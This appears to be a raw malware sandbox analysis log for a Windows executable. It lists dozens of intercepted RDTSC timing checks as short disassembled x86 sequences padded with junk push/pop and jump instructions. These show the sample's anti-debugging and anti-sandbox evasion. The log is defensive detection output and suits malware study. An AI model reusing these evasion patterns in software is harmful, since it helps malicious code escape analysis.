Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7263C9 second address: 7263E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D88430C8h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7263E7 second address: 7263EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7263EB second address: 726409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F48D88430B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F48D88430BEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73D22A second address: 73D22E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73D392 second address: 73D3A2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73D3A2 second address: 73D3B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D851E9BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73D3B2 second address: 73D3BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73D3BC second address: 73D3C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73D3C2 second address: 73D3C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73D850 second address: 73D85B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73D85B second address: 73D861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73D861 second address: 73D88C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9BCh 0x00000007 jmp 00007F48D851E9C8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73D9E1 second address: 73D9FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F48D88430C4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73D9FB second address: 73D9FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73E599 second address: 73E5AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F48D88430BBh 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73E5AD second address: 73E5BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73E5BA second address: 73E5BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73E5BE second address: 73E5D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F48D851E9B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F48D851E9B8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73E5D2 second address: 73E5DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F48D88430B6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 73E5DF second address: 73E5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 741058 second address: 74107B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D88430C9h 0x00000009 pop eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 74107B second address: 74108D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007F48D851E9B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 74108D second address: 741091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 741091 second address: 7410A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F48D851E9BEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7438B5 second address: 7438D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F48D88430BFh 0x0000000d jp 00007F48D88430B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7438D2 second address: 7438DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 74611A second address: 746128 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F48D88430B8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 74F0FC second address: 74F114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 74F114 second address: 74F11E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 74F11E second address: 74F124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 753E01 second address: 753E07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 753E07 second address: 753E0C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 753E0C second address: 753E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F48D88430B6h 0x0000000a pop esi 0x0000000b jns 00007F48D88430BCh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F48D88430C1h 0x0000001b jnp 00007F48D88430B6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 753E41 second address: 753E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 753E46 second address: 753E52 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 753E52 second address: 753E56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 757765 second address: 757773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F48D88430B6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 757627 second address: 757645 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F48D851E9B6h 0x00000008 jmp 00007F48D851E9C1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 763F50 second address: 763F56 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 77A1F6 second address: 77A1FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 77A1FB second address: 77A201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 77A201 second address: 77A20E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7792D4 second address: 7792D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 779595 second address: 7795AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F48D851E9B6h 0x0000000a pushad 0x0000000b popad 0x0000000c jp 00007F48D851E9B6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7795AC second address: 7795BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D88430BAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7795BA second address: 779606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F48D851E9BAh 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F48D851E9C8h 0x0000001b jmp 00007F48D851E9C2h 0x00000020 pushad 0x00000021 jmp 00007F48D851E9C9h 0x00000026 pushad 0x00000027 popad 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 779606 second address: 779631 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F48D88430C0h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 779631 second address: 779635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 779EE3 second address: 779EE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 779EE7 second address: 779EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F48D851E9BEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 77B88E second address: 77B893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 77B893 second address: 77B89A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 77E50C second address: 77E516 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F48D88430B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 781420 second address: 78143E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F48D851E9C4h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 78143E second address: 781461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F48D88430C9h 0x00000009 popad 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 781461 second address: 781467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7833D1 second address: 7833D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 7833D6 second address: 7833DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 69DBDD second address: 69DBF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 544032E second address: 5440344 instructions: 0x00000000 rdtsc 0x00000002 mov cx, FC41h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F48D851E9BAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5440344 second address: 5440367 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F48D88430BEh 0x00000012 pop eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5440367 second address: 544036D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 544036D second address: 5440371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5440371 second address: 5440375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5440375 second address: 5440396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F48D88430C5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5440396 second address: 54403C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov edx, dword ptr [ebp+0Ch] 0x0000000d jmp 00007F48D851E9C9h 0x00000012 mov ecx, dword ptr [ebp+08h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54403C5 second address: 54403C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54403C9 second address: 54403CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54403CF second address: 54403D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54403D5 second address: 54403D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54403EC second address: 54403F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54403F0 second address: 5440405 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460869 second address: 546086D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 546086D second address: 5460873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460873 second address: 5460879 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460879 second address: 546087D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 546087D second address: 5460881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460881 second address: 54608D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F48D851E9BAh 0x00000012 sbb ecx, 7599D2E8h 0x00000018 jmp 00007F48D851E9BBh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F48D851E9C8h 0x00000024 sub esi, 08D8E548h 0x0000002a jmp 00007F48D851E9BBh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54608D6 second address: 5460931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F48D88430BEh 0x0000000f lea eax, dword ptr [ebp-04h] 0x00000012 jmp 00007F48D88430C0h 0x00000017 nop 0x00000018 pushad 0x00000019 mov edi, eax 0x0000001b popad 0x0000001c push eax 0x0000001d jmp 00007F48D88430BFh 0x00000022 nop 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460931 second address: 5460935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460935 second address: 5460950 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460950 second address: 546097F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D851E9C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F48D851E9BDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54609B6 second address: 54609C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F48D88430BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54609C5 second address: 54609CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54609CB second address: 54609E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-04h], 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F48D88430BAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54609E3 second address: 54609E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54609E9 second address: 54609ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54609ED second address: 54609F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 54609F1 second address: 5460A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a jmp 00007F48D88430C9h 0x0000000f je 00007F48D88430EDh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F48D88430BDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460A29 second address: 5460A2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460A7B second address: 5460A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\TdloJt4gY3.exe	RDTSC instruction interceptor: First address: 5460A7F second address: 5450075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx eax, bx 0x00000009 popad 0x0000000a leave 0x0000000b jmp 00007F48D851E9C5h 0x00000010 retn 0004h 0x00000013 nop 0x00000014 sub esp, 04h 0x00000017 xor ebx, ebx 0x00000019 cmp eax, 00000000h 0x0000001c je 00007F48D851EB1Ah 0x00000022 mov dword ptr [esp], 0000000Dh 0x00000029 call 00007F48DD4AAB51h 0x0000002e mov edi, edi 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007F48D851E9BCh 0x00000037 add cx, 92C8h 0x0000003c jmp 00007F48D851E9BBh 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007F48D851E9C8h 0x00000048 xor eax, 2F5E1528h 0x0000004e jmp 00007F48D851E9BBh 0x00000053 popfd 0x00000054 popad 0x00000055 xchg eax, ebp 0x00000056 jmp 00007F48D851E9C6h 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F48D851E9BEh 0x00000063 rdtsc
